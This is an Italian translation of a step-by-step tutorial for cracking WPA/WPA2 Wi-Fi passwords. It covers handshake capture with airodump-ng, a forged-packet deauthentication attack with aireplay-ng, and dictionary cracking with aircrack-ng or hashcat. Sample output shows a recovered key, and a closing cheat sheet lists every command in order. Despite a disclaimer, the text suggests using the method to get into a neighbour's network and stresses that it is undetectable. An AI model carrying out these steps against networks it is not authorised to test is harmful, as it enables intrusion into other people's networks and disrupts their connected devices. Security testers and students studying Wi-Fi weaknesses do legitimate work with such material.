
Decifra i router Wi-Fi WPA/WPA2 con Airodump-ng e Aircrack-ng/Hashcat
Cracka router Wi-Fi WPA/WPA2 con Airodump-ng e Aircrack-ng/Hashcat.
Questo è un breve tutorial illustrativo che mostra come violare reti Wi-Fi protette con password deboli. Non è esaustivo, ma dovrebbe fornire informazioni sufficienti per testare la sicurezza della propria rete o per intrufolarsi in una vicina. L'attacco descritto di seguito è completamente passivo (solo ascolto, niente viene trasmesso dal tuo computer) ed è impossibile da individuare a patto che non utilizzi effettivamente la password che hai violato. Un attacco attivo opzionale di deautenticazione può essere usato per accelerare il processo di ricognizione ed è descritto alla fine di questo documento.
Se hai familiarità con questo processo, puoi saltare le descrizioni e passare direttamente all'elenco dei comandi in fondo. Per una varietà di suggerimenti e metodi alternativi, vedi l'appendice. neal1991 e tiiime hanno gentilmente fornito traduzioni di questo documento e dell'appendice in cinese, se preferisci quelle versioni.
DICHIARAZIONE DI NON RESPONSABILITÀ: Questo software/tutorial è solo a scopo educativo. Non dovrebbe essere utilizzato per attività illegali. L'autore non è responsabile per il suo uso. Non fare lo stronzo.
Questo tutorial presuppone che tu:
sudo apt-get install aircrack-ngInizia elencando le interfacce wireless che supportano la modalità monitor con:
airmon-ng
Se non vedi alcuna interfaccia elencata, la tua scheda wireless non supporta la modalità monitor 😞
Assumeremo che il nome della tua interfaccia wireless sia wlan0, ma assicurati di usare il nome corretto se differisce. Successivamente, mettiamo l'interfaccia in modalità monitor:
airmon-ng start wlan0
Esegui iwconfig. Ora dovresti vedere una nuova interfaccia in modalità monitor elencata (probabilmente mon0 o wlan0mon).
Inizia ad ascoltare i Beacon frame 802.11 trasmessi dai router wireless vicini usando la tua interfaccia monitor:
airodump-ng mon0
Dovresti vedere un output simile a quello sotto.
CH 13 ][ Elapsed: 52 s ][ 2017-07-23 15:49
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
14:91:82:F7:52:EB -66 205 26 0 1 54e OPN belkin.2e8.guests
14:91:82:F7:52:E8 -64 212 56 0 1 54e WPA2 CCMP PSK belkin.2e8
14:22:DB:1A:DB:64 -81 44 7 0 1 54 WPA2 CCMP <length: 0>
14:22:DB:1A:DB:66 -83 48 0 0 1 54e. WPA2 CCMP PSK steveserro
9C:5C:8E:C9:AB:C0 -81 19 0 0 3 54e WPA2 CCMP PSK hackme
00:23:69:AD:AF:94 -82 350 4 0 1 54e WPA2 CCMP PSK Kaitlin's Awesome
06:26:BB:75:ED:69 -84 232 0 0 1 54e. WPA2 CCMP PSK HH2
78:71:9C:99:67:D0 -82 339 0 0 1 54e. WPA2 CCMP PSK ARRIS-67D2
9C:34:26:9F:2E:E8 -85 40 0 0 1 54e. WPA2 CCMP PSK Comcast_2EEA-EXT
BC:EE:7B:8F:48:28 -85 119 10 0 1 54e WPA2 CCMP PSK root
EC:1A:59:36:AD:CA -86 210 28 0 1 54e WPA2 CCMP PSK belkin.dca
Ai fini di questa demo, sceglieremo di violare la password della mia rete "hackme". Ricorda l'indirizzo MAC BSSID e il numero del canale (CH) come mostrato da airodump-ng, poiché ci serviranno entrambi per il passaggio successivo.
WPA/WPA2 utilizza un handshake a 4 vie per autenticare i dispositivi alla rete. Non devi sapere cosa significhi, ma devi catturare uno di questi handshake per poter violare la password di rete. Questi handshake avvengono ogni volta che un dispositivo si connette alla rete, ad esempio quando il tuo vicino torna a casa dal lavoro. Catturiamo questo handshake dirigendo airmon-ng a monitorare il traffico sulla rete target usando i valori del canale e del bssid scoperti dal comando precedente.
# sostituisci i valori di -c e --bssid con quelli della tua rete target
# -w specifica la directory dove salvare la cattura dei pacchetti
airodump-ng -c 3 --bssid 9C:5C:8E:C9:AB:C0 -w . mon0
CH 6 ][ Elapsed: 1 min ][ 2017-07-23 16:09 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -47 0 140 0 0 6 54e WPA2 CCMP PSK ASUS
Ora aspettiamo... Una volta catturato un handshake, dovresti vedere qualcosa come [ WPA handshake: bc:d3:c9:ef:d2:67 in alto a destra dello schermo, appena a destra dell'ora corrente.
Se sei impaziente e ti senti a tuo agio nell'usare un attacco attivo, puoi forzare i dispositivi connessi alla rete target a riconnettersi, inviando loro pacchetti di deautenticazione malevoli. Questo spesso porta alla cattura di un handshake a 4 vie. Vedi la sezione sull'attacco deauth qui sotto per informazioni.
Una volta catturato un handshake, premi ctrl-c per uscire da airodump-ng. Dovresti vedere un file .cap nella directory in cui hai detto a airodump-ng di salvare la cattura (probabilmente chiamato -01.cap). Useremo questo file di cattura per violare la password di rete. Mi piace rinominare questo file per riflettere il nome della rete che stiamo cercando di violare:
mv ./-01.cap hackme.cap
Il passo finale è violare la password usando l'handshake catturato. Se hai accesso a una GPU, ti consiglio vivamente di usare hashcat per il cracking delle password. Ho creato un semplice strumento che rende l'uso di hashcat molto facile chiamato naive-hashcat. Se non hai accesso a una GPU, esistono vari servizi di cracking su GPU online che puoi usare, come GPUHASH.me o OnlineHashCrack. Puoi anche provare il cracking su CPU con Aircrack-ng.
Nota che entrambi i metodi di attacco qui sotto presuppongono una password generata dall'utente relativamente debole. La maggior parte dei router WPA/WPA2 viene fornita con password casuali forti di 12 caratteri che molti utenti (giustamente) lasciano invariate. Se stai tentando di violare una di queste password, ti consiglio di usare i file dizionario Probable-Wordlists WPA-length.
naive-hashcat (consigliato)Prima di poter violare la password usando naive-hashcat, dobbiamo convertire il nostro file .cap nel formato file hashcat equivalente .hccapx. Puoi farlo facilmente caricando il file .cap su https://hashcat.net/cap2hccapx/ o usando direttamente lo strumento cap2hccapx.
cap2hccapx.bin hackme.cap hackme.hccapx
Successivamente, scarica ed esegui naive-hashcat:
# scarica
git clone https://github.com/brannondorsey/naive-hashcat
cd naive-hashcat
# scarica il file dizionario rockyou da 134 MB
curl -L -o dicts/rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# crack! baby! crack!
# 2500 è la modalità hash di hashcat per WPA/WPA2
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
Naive-hashcat utilizza vari attacchi a dizionario, a regole, a combinazione e a maschera (brute-force intelligente) e può richiedere giorni o addirittura mesi per essere eseguito su password di media robustezza. La password violata verrà salvata in hackme.pot, quindi controlla periodicamente questo file. Una volta violata la password, dovresti vedere qualcosa di simile come contenuto del tuo POT_FILE:
e30a5a57fc00211fc9f57a4491508cc3:9c5c8ec9abc0:acd1b8dfd971:ASUS:hacktheplanet
Dove gli ultimi due campi separati da : sono rispettivamente il nome della rete e la password.
Se desideri usare hashcat senza naive-hashcat, consulta questa pagina per informazioni.
Aircrack-ng può essere utilizzato per attacchi a dizionario molto semplici eseguiti sulla tua CPU. Prima di eseguire l'attacco hai bisogno di una wordlist. Ti consiglio di usare il famigerato file dizionario rockyou:
# scarica il file dizionario rockyou da 134 MB
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
Nota che se la password di rete non è nel file word, non violerai la password.
# -a2 specifica WPA2, -b è il BSSID, -w è il wordfile
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt hackme.cap
Se la password viene violata, vedrai un messaggio KEY FOUND! nel terminale seguito dalla versione in testo chiaro della password di rete.
Aircrack-ng 1.2 beta3
[00:01:49] 111040 keys tested (1017.96 k/s)
KEY FOUND! [ hacktheplanet ]
Master Key : A1 90 16 62 6C B3 E2 DB BB D1 79 CB 75 D2 C7 89
59 4A C9 04 67 10 66 C5 97 83 7B C3 DA 6C 29 2E
Transient Key : CB 5A F8 CE 62 B2 1B F7 6F 50 C0 25 62 E9 5D 71
2F 1A 26 34 DD 9F 61 F7 68 85 CC BC 0F 88 88 73
6F CB 3F CC 06 0C 06 08 ED DF EC 3C D3 42 5D 78
8D EC 0C EA D2 BC 8A E2 D7 D3 A2 7F 9F 1A D3 21
EAPOL HMAC : 9F C6 51 57 D3 FA 99 11 9D 17 12 BA B6 DB 06 B4
Un attacco deauth invia pacchetti di deautenticazione falsificati dalla tua macchina a un client connesso alla rete che stai cercando di violare. Questi pacchetti includono indirizzi "mittente" falsi che li fanno apparire al client come se fossero stati inviati dal punto di accesso stesso. Al ricevimento di tali pacchetti, la maggior parte dei client si disconnette dalla rete e si riconnette immediatamente, fornendoti un handshake a 4 vie se stai ascoltando con airodump-ng.
Usa airodump-ng per monitorare un punto di accesso specifico (usando -c channel --bssid MAC) finché non vedi un client (STATION) connesso. Un client connesso appare più o meno così, dove 64:BC:0C:48:97:F7 è il MAC del client.
CH 6 ][ Elapsed: 2 mins ][ 2017-07-23 19:15 ]
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
9C:5C:8E:C9:AB:C0 -19 75 1043 144 10 6 54e WPA2 CCMP PSK ASUS
BSSID STATION PWR Rate Lost Frames Probe
9C:5C:8E:C9:AB:C0 64:BC:0C:48:97:F7 -37 1e- 1e 4 6479 ASUS
Ora, lascia airodump-ng in esecuzione e apri un nuovo terminale. Useremo il comando aireplay-ng per inviare pacchetti deauth falsi al nostro client vittima, forzandolo a riconnettersi alla rete e, si spera, catturando un handshake nel processo.
# -0 2 specifica che vogliamo inviare 2 pacchetti deauth. Aumenta questo numero
# se necessario, con il rischio di interrompere notevolmente l'attività di rete del client
# -a è il MAC del punto di accesso
# -c è il MAC del client
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
Puoi opzionalmente trasmettere pacchetti deauth a tutti i client connessi con:
# non tutti i client rispettano i deauth broadcast comunque
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 mon0
Una volta inviati i pacchetti deauth, torna al tuo processo airodump-ng e, con un po' di fortuna, ora dovresti vedere qualcosa del genere in alto a destra: [ WPA handshake: 9C:5C:8E:C9:AB:C0. Ora che hai catturato un handshake, sei pronto per violare la password di rete.
Di seguito è riportato un elenco di tutti i comandi necessari per violare una rete WPA/WPA2, in ordine, con spiegazioni minime.
# metti il tuo dispositivo di rete in modalità monitor
airmon-ng start wlan0
# ascolta tutti i beacon frame vicini per ottenere BSSID e canale del target
airodump-ng mon0
# inizia ad ascoltare per l'handshake
airodump-ng -c 6 --bssid 9C:5C:8E:C9:AB:C0 -w capture/ mon0
# opzionalmente deauth un client connesso per forzare un handshake
aireplay-ng -0 2 -a 9C:5C:8E:C9:AB:C0 -c 64:BC:0C:48:97:F7 mon0
########## violare password con aircrack-ng... ##########
# scarica il file dizionario rockyou.txt da 134 MB se necessario
curl -L -o rockyou.txt https://github.com/brannondorsey/naive-hashcat/releases/download/data/rockyou.txt
# viola con aircrack-ng
aircrack-ng -a2 -b 9C:5C:8E:C9:AB:C0 -w rockyou.txt capture/-01.cap
########## oppure viola password con naive-hashcat ##########
# converti cap in hccapx
cap2hccapx.bin capture/-01.cap capture/-01.hccapx
# viola con naive-hashcat
HASH_FILE=hackme.hccapx POT_FILE=hackme.pot HASH_TYPE=2500 ./naive-hashcat.sh
La risposta a questo tutorial è stata così grande che ho aggiunto suggerimenti e materiale aggiuntivo dai membri della comunità come appendice. Dai un'occhiata per imparare come:
wlandump-ngcrunch per generare wordlist da 100+ GB al volomacchangerÈ disponibile anche una versione cinese dell'appendice.
Gran parte delle informazioni qui presentate sono state ricavate dal fantastico tutorial di Lewis Encarnacion. Grazie anche agli straordinari autori e manutentori che lavorano su Aircrack-ng e Hashcat.
Un enorme ringraziamento a neal1991 e tiiime per aver tradotto questo tutorial in cinese. Un ulteriore ringraziamento a yizhiheng, hiteshnayak305, enilfodne, DrinkMoreCodeMore, hivie7510, cprogrammer1994, 0XE4, hartzell, zeeshanu, flennic, bhusang, tversteeg, gpetrousov, crowchirp e Shark0der che hanno anche fornito suggerimenti e correzioni di errori di battitura su Reddit e GitHub. Se sei interessato a sentire alcune alternative proposte a WPA2, dai un'occhiata ad alcune delle grandi discussioni su questo post di Hacker News.